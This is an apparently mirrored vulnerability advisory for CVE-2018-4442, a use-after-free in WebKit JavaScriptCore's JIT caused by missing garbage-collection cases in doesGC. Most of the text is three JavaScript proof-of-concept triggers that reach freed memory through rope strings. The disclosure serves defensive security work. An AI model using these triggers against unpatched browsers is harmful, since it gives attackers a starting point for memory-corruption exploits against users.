WebKit JSC JIT Use-After-Free

2019.01.16
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

WebKit: JSC: JIT: GetIndexedPropertyStorage can GC CVE-2018-4442 The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing some cases such as StringCharAt, StringCharCodeAt and GetByVal that might cause a garbage collection via rope strings. As a result, it can lead to UaF. PoC 1 - StringCharAt: function gc() { for (let i = 0; i < 10; i++) { new ArrayBuffer(1024 * 1024 * 10); } } function opt(arr) { let r = /a/; let o = {}; arr[0].charAt(0); arr[1].charAt(0); arr[2].charAt(0); arr[3].charAt(0); arr[4].charAt(0); arr[5].charAt(0); arr[6].charAt(0); arr[7].charAt(0); arr[8].charAt(0); arr[8].charAt(0); arr[9].charAt(0); o.x = 'a'.match(r); return o; } function main() { for (let i = 0; i < 10000; i++) { opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]); } let a = 'a'.repeat(1024 * 1024 * 2); let b = 'a'.repeat(1024 * 1024 * 2); let arr = []; for (let i = 0; i < 10; i++) { arr[i] = a + b; } gc(); let o = opt(arr); gc(); let tmp = [1234]; print(o.x); // 1234 } main(); PoC 2 - StringCharCodeAt: function gc() { for (let i = 0; i < 10; i++) { new ArrayBuffer(1024 * 1024 * 10); } } function opt(arr) { let r = /a/; let o = {}; arr[0].charCodeAt(0); arr[1].charCodeAt(0); arr[2].charCodeAt(0); arr[3].charCodeAt(0); arr[4].charCodeAt(0); arr[5].charCodeAt(0); arr[6].charCodeAt(0); arr[7].charCodeAt(0); arr[8].charCodeAt(0); arr[8].charCodeAt(0); arr[9].charCodeAt(0); o.x = 'a'.match(r); return o; } function main() { for (let i = 0; i < 10000; i++) { opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]); } let a = 'a'.repeat(1024 * 1024 * 2); let b = 'a'.repeat(1024 * 1024 * 2); let arr = []; for (let i = 0; i < 10; i++) { arr[i] = a + b; } gc(); let o = opt(arr); gc(); let tmp = [1234]; print(o.x); // 1234 } main(); PoC 3 - GetByVal: function gc() { for (let i = 0; i < 10; i++) { new ArrayBuffer(1024 * 1024 * 10); } } function opt(arr) { let r = /a/; let o = {}; arr[0][0]; arr[1][0]; arr[2][0]; arr[3][0]; arr[4][0]; arr[5][0]; arr[6][0]; arr[7][0]; arr[8][0]; arr[8][0]; arr[9][0]; o.x = 'a'.match(r); return o; } function main() { for (let i = 0; i < 10000; i++) { opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]); } let a = 'a'.repeat(1024 * 1024 * 2); let b = 'a'.repeat(1024 * 1024 * 2); let arr = []; for (let i = 0; i < 10; i++) { arr[i] = a + b; } gc(); let o = opt(arr); gc(); let tmp = [1234]; print(o.x); // 1234 } main(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top